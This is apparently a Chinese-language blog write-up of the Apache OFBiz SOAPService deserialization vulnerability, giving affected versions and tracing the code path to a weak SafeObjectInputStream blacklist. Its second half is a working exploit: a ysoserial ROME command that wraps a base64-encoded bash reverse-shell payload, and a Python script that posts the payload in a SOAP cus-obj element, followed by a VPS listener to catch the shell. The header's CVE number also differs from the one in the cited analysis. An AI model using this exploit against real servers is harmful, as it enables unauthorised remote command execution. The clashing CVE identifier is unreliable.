名称:Apache OFBiz rmi反序列化漏洞
cve编号:cve-2021-25296
危害:未授权远程命令执行
影响版本:Apache OFBiz < 17.12.06
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了一整套的开发基于Java的web应用程序的组件和工具,已经正式成为 Apache 的顶级项目。
rmi 是 java 远程方法调用,它能让某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。值得注意的是,rmi 传输过程必然会使用序列化和反序列化,如果使用不当,很容易造成反序列化漏洞。
#漏洞分析参考文章:Apache Ofbiz反序列化(CVE-2021-26295)分析
通过分析,触发漏洞的路由为 /webtools/control/SOAPService,SOAPService的EventHandler为SOAPEventHandler,SOAPEventHandler调用了SoapSerializer.deserialize,SoapSerializer.deserialize 又调用了 XmlSerializer.deserialize,该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml,deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()
在 deserializeCustom 方法中,如果标签为cus-obj则获取元素内容,并将其传入 getObject 方法中,getObject又调用了 getObjectException 方法
getObjectException 方法代码如下:
public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); SafeObjectInputStream wois = new SafeObjectInputStream(bis)) { return wois.readObject();} }代码中调用了 SafeObjectInputStream 对象的 readObject 进行反序列化,我们知道 SafeObjectInputStream 是重写后的 ObjectInputStream,在 ObjectInputStream 的基础上加了黑白名单过滤,我们来分析一下漏洞修复前的 SafeObjectInputStream 代码与修复后的差距,如下图所示

className.contains 后是黑黑名单的内容,绿色表示新增,红色表示删除,可以看到,在修复前黑名单的内容只有 org.apache.commons.fileupload,还是可以通过修复后增加的 java.rmi.server 触发漏洞执行命令
#漏洞利用使用 ysoserial 生成漏洞利用的 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,想要执行的命令的base64编码}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'因为命令执行成功也不会有回显,所以下面使用了 反弹 shell 的命令

将得到的 hex 数据赋给下面 payload 的变量 hex_data
import requestsurl = 'http://host:port' + '/webtools/control/SOAPService'hex_data = "aced000573.......000678"headers = { 'Content-Type': 'text/xml'}data = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body> <test> <cus-obj>{hex_data}</cus-obj> </test></soapenv:Body></soapenv:Envelope>'''response = requests.post(url, data=data, headers=headers, verify=False, timeout=5)if 'check your parameters' in response.text: print("maybe succeed")else: print("maybe failed")在 vps 上开启监听,运行脚本,成功获取shell
